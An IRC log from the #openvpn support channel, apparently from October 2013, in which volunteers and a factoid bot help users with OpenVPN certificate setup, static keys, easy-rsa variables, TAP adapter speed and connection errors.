11:52 < altermann> krzee, i'm having a difficult time setting up an openvpn server via gui
11:52 < altermann> but i'm stuck with it
11:52 <@krzee> "road warrior" refers to users who move around often (example: laptop users). they will see tons of different lan setups so expect the common ones to be common...
11:52 <@krzee> "via gui" ?
11:53 <@krzee> openvpn should not be setup "via gui" what are you doing?
11:53 < altermann> i'm using ipfire as my router
11:53 <@krzee> oh, where did you download openvpn from?
11:53 <@krzee> !download
11:53 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
11:53 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
11:53 < altermann> which is a linux distro
11:53 < altermann> it comes with openvpn by default
11:54 < altermann> and i need to test if the server is working before i fly out to our other office across the country to setup another box to act as the openvpn client
11:55 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
11:55 < altermann> the problem is, following their guide combined with some wiki from this channel makes difficult to set it up and test when i can only setup a client on my home network either on a tomato router or windows machine
11:56 <+pekster> All openvpn clients work the same regardless of what OS you're running them on: you create a config file and invoke openvpn on that config file, optionally passing arguments on the command line
11:56 <+pekster> Windows comes with an officially supported GUI (see the links at !gui for a nice step-by-step wiki entry on that) but all other frontends are 3rd party
11:57 <+pekster> (openvpn servers work the same way too; only the configuration is different)
11:57 <+pekster> What's stopping you from putting your client config on the Windows box and testing it?
11:58 < altermann> pekster, right now, the router in front of it i'm guessing
11:58 -!- vvinothkumar [~vinothkum@122.167.98.188] has quit [Ping timeout: 245 seconds]
11:59 <+pekster> That's unlikely unless you're doing agressive outbound firewalling
11:59 <+pekster> Easy enough to test by watching packet flow though
11:59 < altermann> plus i don't know where to create the client keys. do i create them on the server side and copy them onto the client? or do i create them on the client side?
11:59 <@krzee> !pki
11:59 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
11:59 <+pekster> Ideally you create keys on _each_ system, send the CSR to the CA system, sign it, and return a signed cert
11:59 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
11:59 <+pekster> Easy-RSAv2 doesn't make that as easy as it should, though
12:00 < altermann> honestly i think i'm complicating things, i should have used static key config and don't bother with certs
12:00 <+pekster> !statickey
12:00 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
12:01 <@krzee> if there will never be more than 1 client, and forward security is unimportant, then sure go statickey
12:01 < altermann> i only need 1 client
12:02 < altermann> basically i'm doing this to replace a cumbersome and unstable autossh setup the previous sys admin did so our remote office can send print jobs to the local print server
12:02 <+pekster> Forward secrecy or encrypted keys (since openvpn won't support encrypted on-disk --secret keys)
12:03 <+pekster> The security/convenince trade-off is yours to make; you need to define what your setup needs and follow either the PKI guide linked to you earlier, or the static-key "mini-howto"
12:11 <@krzee> pretty easy to make pki though, it should be noted that if you cant get the howto working for pki you may not belong setting up any sort of vpn
12:16 -!- gardar [~gardar@gardar.net] has joined #openvpn
12:17 -!- eKKiM [~ekkim@151.236.28.11] has joined #openvpn
12:18 < rob0> If the PKI seems challenging,
12:18 < rob0> !static
12:18 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
12:18 < rob0> oops
12:18 < rob0> !static-key
12:18 <@vpnHelper> "static-key" is when you use --secret, you are using a static key. this is only valid for point-to-point setups. Static keys are less secure in that they never change. If someone captures your traffic, and then gains your static key a year from now, they can decrypt the captured traffic. Setups that use certs re-key every hour by default
12:18 < eKKiM> Does OpenVPN over UDP with no cipher lower your connection speed alot?
12:21 < rob0> oh duh, I should have read more of the scrollback, sorry
12:25 -!- raidz_away is now known as raidz
12:27 < altermann> thanks
12:27 < altermann> o
12:28 < altermann> i'll try to setup certs, if i can't get that to work i'll go with static keys, after all i need is to have print jobs sent from one office to another
12:28 < altermann> no other information will be transmitted over the vpn tunnel
12:29 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
12:34 -!- gardar [~gardar@gardar.net] has joined #openvpn
12:37 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
12:37 <@ecrist> !ssl-admin
12:37 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
12:39 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
12:39 -!- eKKiM_ [~ekkim@d5152D9EA.static.telenet.be] has joined #openvpn
12:40 -!- eKKiM [~ekkim@151.236.28.11] has quit [Ping timeout: 240 seconds]
12:45 -!- ade_b [~Ade@80.72.60.32] has joined #openvpn
12:45 -!- ade_b [~Ade@80.72.60.32] has quit [Changing host]
12:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:45 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
13:13 -!- sobersabre [~Sober@bzq-79-177-31-248.red.bezeqint.net] has joined #openvpn
13:23 -!- akurilin [~akurilin@208.185.21.146] has quit [Remote host closed the connection]
13:23 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
13:25 <@krzee> eKKiM_, there is no catch-all answer for that
13:25 <@krzee> so: maybe
13:25 -!- _trine [~trine@2001:470:1f09:bf6:848a:a8ce:cef:b650] has joined #openvpn
13:36 -!- _trine [~trine@2001:470:1f09:bf6:848a:a8ce:cef:b650] has quit [Ping timeout: 260 seconds]
13:36 -!- _trine [~trine@cpc34-bolt13-2-0-cust682.10-3.cable.virginm.net] has joined #openvpn
13:37 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Connection reset by peer]
13:39 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
13:50 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Quit: Leaving]
13:57 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:00 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
14:07 -!- _trine [~trine@cpc34-bolt13-2-0-cust682.10-3.cable.virginm.net] has quit [Ping timeout: 248 seconds]
14:14 -!- master_of_master [~master_of@p4FF24B60.dip0.t-ipconnect.de] has joined #openvpn
14:17 -!- master_o1_master [~master_of@p4FD7BE04.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
14:18 -!- meepmeep_ [meepmeep@212.83.130.150] has quit [Quit: Yippee-kay-yay]
14:18 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
14:20 -!- meepmeep [meepmeep@212.83.130.150] has joined #openvpn
14:29 <@krzee> !inline
14:29 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
14:43 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
14:44 < debbie10t> hey fellas:  i believe tap adapter has a maximimum speed of 10mbit/sec and i know i have seen stats on performance somewherre but i cannot remember where .. does anybody know ?
14:46 < EugeneKay> The Windows TAP adapter reports 10mbits connection speed, but it's lying.
14:47 < EugeneKay> It will actually go as fast as your CPU/network will let you
14:47 < EugeneKay> And you're probably thinking of
14:47 < EugeneKay> !gigabit
14:47 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
14:48 < debbie10t> wow that is great thanks .. gonna be reading that for a while
14:49 < debbie10t> althjough .. what about 100base
14:50 < debbie10t> i suddenly realise my bridge is running at 10baseT
14:50 < EugeneKay> You're not paying attention
14:51 < debbie10t> i do not have a gigabit network
14:51 < EugeneKay> The virtual adapter driver does not HAVE a set speed to it. It's as fast as the software can push the data to/from it
14:51 < EugeneKay> So? Still read the guide.
14:52 < debbie10t> ok .. fair enough - it just so happens with my setup it turns out to be more or less exactly 10mbit
14:52 < debbie10t> and thanks btw
14:55 < altermann> what does this line mean? set KEY_CN=changeme
14:55 < altermann> well, what's before the = sign
14:56 <@krzee> an openssl variable
14:57 <@krzee> EugeneKay, nice host
14:57 < debbie10t> hi krzee ;)
14:57 < EugeneKay> I have many
14:57 <@krzee> hey debbie10t =]
14:57 <@krzee> EugeneKay, as do i, but no cwm
14:58 <+pekster> altermann: It's a shell environmental variable that gets picked up by the openssl config. When you use easy-rsa interactively you will change that name during the creation of your certificate request
14:58 <+pekster> altermann: Naturally, you should change it to the CN you want for that request. Hence "changeme" is your reminder to do that
14:58 <@krzee> oh i assumed it came from openssl.cnf lol
14:58 < altermann> ok thanks
14:58 <+pekster> krzee: No, it's picked up via ENV::KEY_CN
14:58 < altermann> i'm following instructions how to change the vars.bat file
14:58 <@krzee> i havnt looked at easyrsa in soooooo long :D
14:59 <+pekster> v3 is coming, although after dialoge that went nowhere trying to fix busybox-w32 (it's got major problems calling the MSVC-build of openssl from openssl.org's link -- that's a show stopper), and v3 makes doing things like genearting keys on entity systems a lot easier
15:00 < altermann> i've done this in Linux :)
15:00 <+pekster> MS being non-POSIX makes it a PITA
15:00 < altermann> doig
15:00 <@krzee> nice
15:00 <@krzee> just having it work well on linux will go a lonnnnng way
15:00 < debbie10t> I use easy-rsa on wind blows all the time .. can I help at all altermann
15:01 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
15:01 < debbie10t> set KEY_CN=changeme means you should change the changeme bit
15:01 < altermann> debbie10t, i don't know why i'm doing this in windows, it's probably because i'm confused about the instructions. even though i'm pretty sure my distro is capable of doing this w/o any modifications as stated int he openvpn.net html docs
15:02 <+pekster> altermann, debbie10t: not really. Don't change this in the vars file because _YOU_ change it when you build keys interactively
15:02 < altermann> pekster, i should not have changed anything in that file, it's all interactive
15:02 < debbie10t> easy-rsa on Win is ok .. just needs a bit of TLC .. what are you trying to do ?
15:02 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
15:02 <+pekster> If you are not scripting automated (-batch) runs, you do not need to touch the part that says KEY_CN=changeme; openssl will prompt you to set the CN when you create the CSR
15:02 < altermann> debbie10t, http://openvpn.net/index.php/open-source/documentation/howto.html#vpntype
15:02 <@vpnHelper> Title: HOWTO (at openvpn.net)
15:03 < altermann> that's what i'm trying to do pretty much
15:03 < altermann> i'm trying to generate server, client certs and keys on a neutral machine that will not be used in the openvpn setup itself
15:04 < debbie10t> ok .. do you have more than one client ?
15:04 <+pekster> krzee: The "pre-pre-release" is in my own git tree. It'll end up in the openvpn easy-rsa as git master as soon as I decide on the least-broken POSIX shell for Windows that actually works ;)
15:04 <+pekster> krzee: Link: https://github.com/QueuingKoala/easy-rsa
15:04 <@vpnHelper> Title: QueuingKoala/easy-rsa · GitHub (at github.com)
15:04 < altermann> debbie10t, i was going to test it on my home setup before i fly 4000km to set it up at our remote office
15:04 < altermann> but probably not
15:05 < altermann> i don't want to fly out there and fail
15:05 < altermann> :(
15:09 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
15:16 -!- ustyRy [~rusty@ip68-2-166-210.ph.ph.cox.net] has quit [Ping timeout: 245 seconds]
15:21 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:36 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:50 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
15:51 -!- mattock is now known as mattock_afk
15:57 -!- Denial [Denial@90.216.209.93] has quit []
15:58 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
15:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
16:01 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:01 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:01 -!- dazo_afk is now known as dazo
17:10 -!- jhp [~jhp@zeus.jhprins.org] has left #openvpn []
17:13 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 272 seconds]
17:13 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
17:20 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
17:20 -!- C-S-B [~C-S-B@host31-52-87-215.range31-52.btcentralplus.com] has quit [Read error: Operation timed out]
17:21 -!- C-S-B [~C-S-B@host31-52-87-215.range31-52.btcentralplus.com] has joined #openvpn
17:26 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
17:40 < debbie10t> its like swatting flies on the breeze
17:40 < altermann> lol
17:41 < debbie10t> sometimes they just gotta DIE !
17:41 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
17:41 < Cubox> Hi
17:42 < Cubox> I have still an issue where the forwarded traffic is slow, while the client -> server traffic is not. (and server -> outside is not either). Anyone want to help me and take a look at this? (I have this issue documentated with all the resources somewhere)
17:44 < debbie10t> ====[ can i get a +v or what ] ====
17:44 < debbie10t> <--- openvpn mod
17:46 < debbie10t> wassup cubox
17:46 < debbie10t> you want some help with port forwarding ?
17:46 < Cubox> Everything is here, the conf, packet dump, everything. http://serverfault.com/questions/542381/openvpn-forward-packets-very-slowly
17:46 <@vpnHelper> Title: linux - Openvpn, forward packets very slowly - Server Fault (at serverfault.com)
17:46 < Cubox> This issue is making me crazy for more than a month now.
17:47 < debbie10t> is your vpn woorking ?
17:47 < Cubox> yes
17:47 < debbie10t> so what is the problem ?
17:48 < Cubox> the forwarded packets are forwarded very slowly.
17:48 < Cubox> like 2ko/s
17:49 < debbie10t> Cubox sorry i only deal with noob problems .. if your network is slow i don't know
17:50 < Cubox> .
17:50 < Cubox> alright, i'll wait for someone else
17:50 < Cubox> thanks
17:51 < debbie10t> k
17:57 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
18:58 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:06 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
19:23 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
19:29 -!- BadAtom [~epigramma@supporter/active/BadAtom] has quit [Ping timeout: 272 seconds]
19:32 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
19:35 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 272 seconds]
19:40 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
19:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:02 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
20:02 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
20:03 -!- adh0c [~none@216.116.72.155] has joined #openvpn
20:04 < adh0c> Anyone know how to scrub IP address from openvpn's logs?
20:08 <@krzee> if your setup is so top secret that admitting you use openvpn is not allowed, you shouldn't be here
20:08 <@krzee> !topsecret
20:08 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
20:09 -!- raidz is now known as raidz_away
20:09 <@krzee> whats the problem?
20:24 -!- adh0c [~none@216.116.72.155] has quit [Quit: Leaving]
20:33 -!- rquuu [~pol@unaffiliated/rquuu] has joined #openvpn
20:33 < rquuu> Hello
20:34 < rquuu> TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
20:34 < rquuu> Thu Oct 24 21:33:12 2013 TLS Error: TLS handshake failed
20:34 < rquuu> :/ Extremely frustrating.
20:35 -!- Falconor [~Falconor@unaffiliated/falconor] has joined #openvpn
20:40 -!- rquuu [~pol@unaffiliated/rquuu] has quit [Quit: Leaving]
20:47 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 252 seconds]
20:54 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
21:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:06 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
21:11 -!- novaflash is now known as novaflash_away
21:11 -!- novaflash_away is now known as novaflash
21:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:13 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
21:26 -!- Shinobi [~DrFoo@c-76-23-208-102.hsd1.ct.comcast.net] has quit [Read error: Connection reset by peer]
21:37 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
21:37 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
21:38 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
21:41 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
21:43 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 248 seconds]
21:43 -!- michaelhart_ is now known as michaelhart
21:44 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
21:44 -!- michaelhart_ [~michaelha@162.209.54.120] has joined #openvpn
21:46 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
21:47 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
21:47 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 240 seconds]
21:47 -!- michaelhart_ is now known as michaelhart
21:55 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
21:56 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:04 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:04 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 246 seconds]
22:06 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:14 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:15 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:23 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:24 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:32 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:33 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:41 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:42 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:50 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:51 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:59 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:59 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
23:00 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:08 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:09 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:17 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:18 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:28 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Fri Oct 25 2013
00:57 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:29 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
01:32 -!- toobluesc [~nitro@2001:558:6045:d2:2402:aff8:b481:3073] has quit [Quit: Ex-Chat]
01:33 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
01:37 -!- vvinothkumar [~vinothkum@122.167.98.188] has joined #openvpn
01:43 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:58 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 245 seconds]
01:59 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
02:17 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
02:21 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:45 -!- meepmeep [meepmeep@212.83.130.150] has quit [Quit: Yippee-kay-yay]
02:49 -!- meepmeep [meepmeep@end.of.cylind.re] has joined #openvpn
03:02 -!- elfixit [~Icedove@213.144.129.129] has joined #openvpn
03:18 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
04:33 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 272 seconds]
04:36 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:40 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
04:41 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
04:46 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Read error: Connection reset by peer]
04:46 -!- mikkel_ [~mikkel@109.202.158.84] has joined #openvpn
04:47 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 256 seconds]
04:54 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
05:02 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
05:05 -!- gardar [~gardar@gardar.net] has joined #openvpn
05:27 -!- mikkel_ [~mikkel@109.202.158.84] has quit [Ping timeout: 272 seconds]
05:41 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
05:58 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 240 seconds]
05:58 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
05:58 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
05:58 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:05 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
06:22 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 245 seconds]
06:23 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:36 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:04 -!- eKKiM_ [~ekkim@d5152D9EA.static.telenet.be] has quit [Ping timeout: 256 seconds]
07:12 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
07:15 -ChanServ:#openvpn- ecrist set flags +Afiorstv on m10t.
07:15 -!- mode/#openvpn [-v oc80z] by ChanServ
07:16 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
07:17 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
07:18 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 253 seconds]
07:23 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 246 seconds]
07:25 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
07:25 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
07:37 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
07:38 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
07:42 <@ecrist> hrm
07:43 < debbie10t> :D
07:43 -ChanServ:#openvpn- ecrist set flags +O on m10t.
07:43 -!- mode/#openvpn [+o debbie10t] by ChanServ
07:43 <@debbie10t> much obliged
07:43 <@ecrist> we don't have +O (auto-op) on the alias I used
07:43 <@ecrist> you still had it, but need to ask chanserv for it
07:44 <@debbie10t> gotcha
07:48 <@ecrist> FYI, I'll be migrating forums to a new server, probably today
07:48 <@ecrist> so, things may be bumpy
08:05 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
08:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
08:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:15 <@debbie10t> yep - i saw the post on the forum .. no problem :)
08:21 -!- zedsix [~z6@unaffiliated/z6] has joined #openvpn
08:21 -!- xeqution [~z6@unaffiliated/z6] has quit [Ping timeout: 245 seconds]
08:23 -!- danci1973 [~danci1973@router.agenda.si] has quit [Quit: KVIrc 4.0.2 Insomnia http://www.kvirc.net/]
08:26 -!- HardlySeen [~HardlySee@unaffiliated/gatheringknowleg] has joined #openvpn
08:27 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
08:40 -!- vvinothkumar [~vinothkum@122.167.98.188] has quit [Ping timeout: 265 seconds]
08:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
08:48 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:20 -!- Blashyrkh [~michaeld@043-054-094-081.as39912.net] has joined #openvpn
09:20 < Blashyrkh> i want to revoke a few openvpn keys
09:20 < Blashyrkh> but how do i find out the certificat nam, is it the part infront of the .key?
09:21 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 265 seconds]
09:22 < Blashyrkh> ah i just found it in the index.txt, i guess its the CN= part
09:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:25 -!- verdoc_ is now known as verdoc
09:26 -!- elfixit [~Icedove@213.144.129.129] has quit [Quit: elfixit]
09:27 -!- sobersabre [~Sober@bzq-79-177-31-248.red.bezeqint.net] has quit [Remote host closed the connection]
09:53 -!- HardlySeen [~HardlySee@unaffiliated/gatheringknowleg] has quit [Quit: leaving]
10:04 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:11 -!- altermann [~none@184.69.128.118] has left #openvpn ["Leaving"]
10:22 -!- HyperGlide [~HyperGlid@182.151.165.223] has joined #openvpn
10:22 -!- emid [~emid@192.241.162.156] has quit [Quit: quit]
10:23 -!- emid [~emid@192.241.162.156] has joined #openvpn
10:33 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
10:33 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 246 seconds]
10:33 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
10:41 -!- rhk [~androirc@118.141.247.149] has joined #openvpn
10:49 < rhk> Hi all. I'm getting Bad encapsulated packet length from peer (43520), when connecting thru a proxy
10:49 < rhk> If I skip the proxy, and connect direct, everything's ok
10:50 < rhk> Any ideas what in the proxy could be causing this ?
10:51 < rhk> It's a pretty basic socks 5 proxy running on Windows
10:51 -!- HyperGlide [~HyperGlid@182.151.165.223] has quit [Remote host closed the connection]
10:52 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
10:53 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
10:56 -!- raidz_away is now known as raidz
11:10 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 240 seconds]
11:12 -!- JSharpe_ [~JSharpe@ns2306746.ovh.net] has joined #openvpn
11:12 -!- Blashyrkh [~michaeld@043-054-094-081.as39912.net] has quit [Quit: Leaving.]
11:13 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
11:15 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
